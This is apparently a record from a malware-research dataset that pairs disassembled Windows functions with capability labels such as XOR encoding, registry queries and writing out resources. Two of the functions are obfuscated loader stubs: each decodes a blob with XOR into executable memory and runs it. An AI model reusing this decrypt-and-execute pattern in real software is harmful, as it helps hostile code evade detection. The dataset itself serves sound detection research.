joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40595e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x40596d
pop dword [ebp - 0x14]
mov eax, 0x40596d
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xe17b9620
add dword [ebp - 0x24], 0x6cd6af2b
mov dword [ebp - 0x20], 0x4c7b3607
sub dword [ebp - 0x20], 0x1a47e9c2
mov dword [ebp - 0x1c], 0xfa9c7f87
add dword [ebp - 0x1c], 0x51afc4a7
mov dword [ebp - 0x18], 0xa55d1712
sub dword [ebp - 0x18], 0xa55d1712
lea eax, [ebp - 0x24]
push eax
mov eax, 0x25e151b
add eax, 0xfde25b45
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x9632498b
add dword [ebp - 0x24], 0xde401fcb
mov dword [ebp - 0x20], 0x25d2b3f9
sub dword [ebp - 0x20], 0xe4665284
mov dword [ebp - 0x1c], 0xe30dcbbd
sub dword [ebp - 0x1c], 0x7f9e5f51
mov dword [ebp - 0x18], 0xd32d6e44
add dword [ebp - 0x18], 0x2cd291bc
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0xc3887dc8
add eax, 0x3cb7f338
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x33f0b
push 0
call eax
mov ecx, 0x729748c0
sub ecx, 0x72970bdb
xor ebx, ebx
add ebx, eax
mov edx, 0xe568bfcb
add edx, 0x1ad84035
add edx, dword [ebp - 0x14]
mov edi, 0x6bfc8b86
sub edi, 0x4b572a3b
add dword [ebp - 0xc], edi
mov esi, dword [edx]
sub dword [ebp - 8], 0x3110c0d
xor esi, edi
add dword [ebp - 4], 0xc71190cf
mov dword [ebx], esi
sub dword [ebp - 8], esi
add ebx, 4
add edx, 0x22a2911d
sub edx, 0x22a29119
loop 0x405a8c
add eax, 0x6e51702e
sub eax, 0x6e5089c7
xor ebx, ebx
add ebx, eax
add eax, 0x41ca3759
sub eax, 0x41ca3754
mov ecx, 0xef5ad4cb
sub ecx, 0xef1ad4cb
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x40cfbb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x40cfca
pop dword [ebp - 0xc]
mov eax, 0xe3f5bd25
add eax, 0x1c4b12a5
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x78f61770
sub dword [ebp - 0x1c], 0x2aa3d225
mov dword [ebp - 0x18], 0x869c4493
add dword [ebp - 0x18], 0xab9707b2
mov dword [ebp - 0x14], 0x67bb2a81
sub dword [ebp - 0x14], 0x1b6ee653
mov dword [ebp - 0x10], 0x5ee34494
sub dword [ebp - 0x10], 0x5ee34494
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x70efee99
sub eax, 0x70adbe25
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x70ec0f7
add dword [ebp - 0x1c], 0x6d63a85f
mov dword [ebp - 0x18], 0x195c35aa
add dword [ebp - 0x18], 0x28102bcb
mov dword [ebp - 0x14], 0x5a9e64e7
sub dword [ebp - 0x14], 0xf72ef87b
mov dword [ebp - 0x10], 0x24890c7c
sub dword [ebp - 0x10], 0x24890c7c
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x1f8ccf8e
add eax, 0xe0b56196
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3c7ab
push 0
call eax
mov ecx, 0x9085582c
add ecx, 0x6f7aeaff
mov edi, eax
mov ebx, 0xc4f6d5fa
sub ebx, 0xc4b391fa
add ebx, dword [ebp - 0xc]
mov esi, 0x29fb919a
add esi, 0xfa5e831a
xor dword [ebp - 8], ebx
mov edx, dword [ebx]
sub dword [ebp - 4], 0xa38c60fd
xor edx, esi
mov dword [edi], edx
sub dword [ebp - 8], 0x16684328
add edi, 0xdaeb2759
sub edi, 0xdaeb2755
add ebx, 4
loop 0x40d0ec
add eax, 0xff7f
xor ebx, ebx
add ebx, eax
add eax, 0xe314b557
sub eax, 0xe314b552
mov ecx, 0xefbfb19
add ecx, 0xf14404e7
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x10001110
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x10001129
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x10001164
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x10001160
lea ebx, [ebx]
cmp esi, eax
jae 0x10001164
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x10001150
cmp esi, eax
jb 0x1000116a
pop esi
pop edi
xor eax, eax
pop ebx
ret
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x100013b0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x230
mov eax, dword [0x10033a60]
xor eax, esp
mov dword [esp + 0x22c], eax
lea eax, [esp + 0x10]
push eax
push str.SoftwareMicrosoftMultimediaAudioWaveFormats
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x100013f4
xor eax, eax
mov ecx, dword [esp + 0x22c]
xor ecx, esp
call fcn.1001530a
add esp, 0x230
ret
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x2c]
push edx
lea eax, [esp + 0x1c]
push eax
mov eax, dword [esp + 0x2c]
xor esi, esi
push esi
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x50]
push edx
push esi
mov ebp, 0x12
mov ebx, 0x200
push eax
mov dword [esp + 0x44], esi
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], ebp
mov dword [esp + 0x30], ebx
call edi
test eax, eax
jne 0x100014a9
mov eax, 1
cmp word [esp + 0x28], ax
jne 0x1000146a
cmp word [esp + 0x2a], 2
jne 0x1000146a
cmp dword [esp + 0x2c], 0xac44
jne 0x1000146a
cmp word [esp + 0x36], 0x10
je 0x100014a5
lea ecx, [esp + 0x1c]
push ecx
add esi, eax
lea edx, [esp + 0x2c]
push edx
lea eax, [esp + 0x1c]
push eax
mov eax, dword [esp + 0x2c]
push 0
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x50]
push edx
push esi
push eax
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], ebp
mov dword [esp + 0x30], ebx
call edi
test eax, eax
je 0x10001444
jmp 0x100014a9
mov dword [esp + 0x24], eax
mov ecx, dword [esp + 0x20]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
call esi
cmp dword [esp + 0x24], 0
je 0x1000151c
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea edx, [esp + 0x18]
push edx
push str.SoftwareMicrosoftMultimediaAudio
push 0x80000001
call ebx
test eax, eax
jne 0x1000151c
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x18]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
lea ecx, [esp + 0x40]
push ecx
mov ebp, 1
push ebp
push 0
push str.DefaultFormat
push edx
mov dword [esp + 0x2c], ebp
call edi
mov eax, dword [esp + 0x18]
push eax
call esi
lea ecx, [esp + 0x18]
push ecx
push str..DEFAULTSoftwareMicrosoftMultimediaAudio
push 0x80000003
call ebx
test eax, eax
je 0x10001520
xor eax, eax
jmp 0x10001546
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0x18]
push edx
lea eax, [esp + 0x40]
push eax
push ebp
push 0
push str.DefaultFormat
push ecx
mov dword [esp + 0x2c], ebp
call edi
mov edx, dword [esp + 0x18]
push edx
call esi
mov eax, ebp
mov ecx, dword [esp + 0x23c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1001530a
add esp, 0x230
ret
Function at 0x100017f0
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x110
mov eax, dword [0x10033a60]
xor eax, esp
mov dword [esp + 0x10c], eax
push esi
lea eax, [esp + 4]
push eax
push 0xf023f
xor esi, esi
push esi
push str.SoftwareRealtek
push 0x80000002
mov dword [esp + 0x1c], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10001863
mov eax, dword [esp + 4]
push esi
push esi
push esi
push esi
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x20]
push edx
push esi
push eax
mov dword [esp + 0x28], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
cmp eax, 0x103
jne 0x10001858
mov esi, 1
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x110]
mov eax, esi
pop esi
xor ecx, esp
call fcn.1001530a
add esp, 0x110
ret

Function at 0x10001880
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x110
mov eax, dword [0x10033a60]
xor eax, esp
mov dword [esp + 0x10c], eax
push esi
lea eax, [esp + 4]
push eax
push 0xf013f
xor esi, esi
push esi
push str.SoftwareRealtek
push 0x80000002
mov dword [esp + 0x1c], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100018f3
mov eax, dword [esp + 4]
push esi
push esi
push esi
push esi
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x20]
push edx
push esi
push eax
mov dword [esp + 0x28], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
cmp eax, 0x103
jne 0x100018e8
mov esi, 1
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x110]
mov eax, esi
pop esi
xor ecx, esp
call fcn.1001530a
add esp, 0x110
ret

Function at 0x10001910
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x110
mov eax, dword [0x10033a60]
xor eax, esp
mov dword [esp + 0x10c], eax
push esi
lea eax, [esp + 4]
push eax
push 0xf023f
xor esi, esi
push esi
push str.SoftwareRealtek
push 0x80000001
mov dword [esp + 0x1c], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10001983
mov eax, dword [esp + 4]
push esi
push esi
push esi
push esi
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x20]
push edx
push esi
push eax
mov dword [esp + 0x28], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
cmp eax, 0x103
jne 0x10001978
mov esi, 1
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x110]
mov eax, esi
pop esi
xor ecx, esp
call fcn.1001530a
add esp, 0x110
ret
Function at 0x100019a0
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x110
mov eax, dword [0x10033a60]
xor eax, esp
mov dword [esp + 0x10c], eax
push esi
lea eax, [esp + 4]
push eax
push 0xf013f
xor esi, esi
push esi
push str.SoftwareRealtek
push 0x80000001
mov dword [esp + 0x1c], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10001a13
mov eax, dword [esp + 4]
push esi
push esi
push esi
push esi
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x20]
push edx
push esi
push eax
mov dword [esp + 0x28], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
cmp eax, 0x103
jne 0x10001a08
mov esi, 1
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x110]
mov eax, esi
pop esi
xor ecx, esp
call fcn.1001530a
add esp, 0x110
ret
Function at 0x100050d0
Capabilities:
Extract resource via kernel32 functions
Get common file path
Get file size
Write file on windows

Disassembly:
sub esp, 0x124
mov eax, dword [0x10033a60]
xor eax, esp
mov dword [esp + 0x120], eax
call fcn.1000956f
push eax
lea ecx, [esp + 4]
call fcn.1000a377
call fcn.1000c699
test eax, eax
jne 0x10005106
push 0x80004005
call fcn.10001090
mov edx, dword [eax]
push ebx
push ebp
push esi
mov ecx, eax
mov eax, dword [edx + 0xc]
push edi
call eax
mov ebx, eax
push 0x104
lea ecx, [esp + 0x2c]
add ebx, 0x10
push ecx
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.RtlExUpd.dll
lea edx, [esp + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.HIDEWIN
mov edi, eax
push 0xbb8
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebp, eax
push ebp
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push edi
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
test esi, esi
mov dword [esp + 0x20], eax
je 0x1000528a
test ebp, ebp
je 0x1000528a
cmp dword [esp + 0x1c], 0
je 0x1000528a
test eax, eax
je 0x1000528a
push 0x104
lea ecx, [esp + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x1002a808
lea edx, [esp + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x40]
push eax
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x100051fe
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebp, dword [esp + 0x20]
je 0x10005260
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea edx, [esp + 0x40]
push edx
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x10005260
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
push 0
lea eax, [esp + 0x28]
push eax
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x10005260
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 0x18]
call fcn.10005060
cmp dword [esp + 0x14], ebx
je 0x100052c0
mov eax, dword [esp + 0x10]
push eax
jmp 0x100052b9
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 0x18]
call fcn.10005060
cmp dword [esp + 0x14], 0
je 0x10005283
mov ecx, dword [esp + 0x10]
push ecx
push 0
call fcn.10009b1a
mov eax, 1
jmp 0x100052c2
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebx - 0x10]
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x100052ad
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp dword [esp + 0x14], 0
je 0x100052c0
mov ecx, dword [esp + 0x10]
push ecx
push 0
call fcn.10009b1a
xor eax, eax
mov ecx, dword [esp + 0x130]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1001530a
add esp, 0x124
ret
Function at 0x100052e0
Capabilities:
Extract resource via kernel32 functions
Get common file path
Get file size
Write file on windows

Disassembly:
sub esp, 0x124
mov eax, dword [0x10033a60]
xor eax, esp
mov dword [esp + 0x120], eax
call fcn.1000956f
push eax
lea ecx, [esp + 4]
call fcn.1000a377
call fcn.1000c699
test eax, eax
jne 0x10005316
push 0x80004005
call fcn.10001090
mov edx, dword [eax]
push ebx
push ebp
push esi
mov ecx, eax
mov eax, dword [edx + 0xc]
push edi
call eax
mov ebx, eax
push 0x104
lea ecx, [esp + 0x2c]
add ebx, 0x10
push ecx
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.RtlExUpd.dll
lea edx, [esp + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.RTKICON
mov edi, eax
push 0xbbe
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebp, eax
push ebp
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push edi
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
test esi, esi
mov dword [esp + 0x20], eax
je 0x1000549a
test ebp, ebp
je 0x1000549a
cmp dword [esp + 0x1c], 0
je 0x1000549a
test eax, eax
je 0x1000549a
push 0x104
lea ecx, [esp + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.RtkAudMgr.ico
lea edx, [esp + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x40]
push eax
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x1000540e
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebp, dword [esp + 0x20]
je 0x10005470
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea edx, [esp + 0x40]
push edx
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x10005470
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
push 0
lea eax, [esp + 0x28]
push eax
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x10005470
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 0x18]
call fcn.10005060
cmp dword [esp + 0x14], ebx
je 0x100054d0
mov eax, dword [esp + 0x10]
push eax
jmp 0x100054c9
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 0x18]
call fcn.10005060
cmp dword [esp + 0x14], 0
je 0x10005493
mov ecx, dword [esp + 0x10]
push ecx
push 0
call fcn.10009b1a
mov eax, 1
jmp 0x100054d2
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebx - 0x10]
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x100054bd
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp dword [esp + 0x14], 0
je 0x100054d0
mov ecx, dword [esp + 0x10]
push ecx
push 0
call fcn.10009b1a
xor eax, eax
mov ecx, dword [esp + 0x130]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1001530a
add esp, 0x124
ret
Function at 0x100054f0
Capabilities:
Extract resource via kernel32 functions
Get common file path
Get file size
Write file on windows

Disassembly:
sub esp, 0x124
mov eax, dword [0x10033a60]
xor eax, esp
mov dword [esp + 0x120], eax
call fcn.1000956f
push eax
lea ecx, [esp + 4]
call fcn.1000a377
call fcn.1000c699
test eax, eax
jne 0x10005526
push 0x80004005
call fcn.10001090
mov edx, dword [eax]
push ebx
push ebp
push esi
mov ecx, eax
mov eax, dword [edx + 0xc]
push edi
call eax
mov ebx, eax
push 0x104
lea ecx, [esp + 0x2c]
add ebx, 0x10
push ecx
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.RtlExUpd.dll
lea edx, [esp + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.BEATSICON
mov edi, eax
push 0xbc4
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebp, eax
push ebp
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push edi
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
test esi, esi
mov dword [esp + 0x20], eax
je 0x100056aa
test ebp, ebp
je 0x100056aa
cmp dword [esp + 0x1c], 0
je 0x100056aa
test eax, eax
je 0x100056aa
push 0x104
lea ecx, [esp + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.TempBeats.ico
lea edx, [esp + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x40]
push eax
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x1000561e
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebp, dword [esp + 0x20]
je 0x10005680
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea edx, [esp + 0x40]
push edx
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x10005680
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
push 0
lea eax, [esp + 0x28]
push eax
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x10005680
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 0x18]
call fcn.10005060
cmp dword [esp + 0x14], ebx
je 0x100056e0
mov eax, dword [esp + 0x10]
push eax
jmp 0x100056d9
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 0x18]
call fcn.10005060
cmp dword [esp + 0x14], 0
je 0x100056a3
mov ecx, dword [esp + 0x10]
push ecx
push 0
call fcn.10009b1a
mov eax, 1
jmp 0x100056e2
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebx - 0x10]
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x100056cd
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp dword [esp + 0x14], 0
je 0x100056e0
mov ecx, dword [esp + 0x10]
push ecx
push 0
call fcn.10009b1a
xor eax, eax
mov ecx, dword [esp + 0x130]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1001530a
add esp, 0x124
ret
Function at 0x10005700
Capabilities:
Extract resource via kernel32 functions
Get common file path
Get file size
Write file on windows

Disassembly:
sub esp, 0x124
mov eax, dword [0x10033a60]
xor eax, esp
mov dword [esp + 0x120], eax
call fcn.1000956f
push eax
lea ecx, [esp + 4]
call fcn.1000a377
call fcn.1000c699
test eax, eax
jne 0x10005736
push 0x80004005
call fcn.10001090
mov edx, dword [eax]
push ebx
push ebp
push esi
mov ecx, eax
mov eax, dword [edx + 0xc]
push edi
call eax
mov ebx, eax
push 0x104
lea ecx, [esp + 0x2c]
add ebx, 0x10
push ecx
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.RtlExUpd.dll
lea edx, [esp + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.SRSICON
mov edi, eax
push 0xbc6
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebp, eax
push ebp
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push edi
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
test esi, esi
mov dword [esp + 0x20], eax
je 0x100058ba
test ebp, ebp
je 0x100058ba
cmp dword [esp + 0x1c], 0
je 0x100058ba
test eax, eax
je 0x100058ba
push 0x104
lea ecx, [esp + 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.SRS.ico
lea edx, [esp + 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [esp + 0x40]
push eax
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x1000582e
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebp, dword [esp + 0x20]
je 0x10005890
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea edx, [esp + 0x40]
push edx
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x10005890
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
push 0
lea eax, [esp + 0x28]
push eax
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x10005890
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 0x18]
call fcn.10005060
cmp dword [esp + 0x14], ebx
je 0x100058f0
mov eax, dword [esp + 0x10]
push eax
jmp 0x100058e9
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 0x18]
call fcn.10005060
cmp dword [esp + 0x14], 0
je 0x100058b3
mov ecx, dword [esp + 0x10]
push ecx
push 0
call fcn.10009b1a
mov eax, 1
jmp 0x100058f2
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebx - 0x10]
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x100058dd
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp dword [esp + 0x14], 0
je 0x100058f0
mov ecx, dword [esp + 0x10]
push ecx
push 0
call fcn.10009b1a
xor eax, eax
mov ecx, dword [esp + 0x130]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1001530a
add esp, 0x124
ret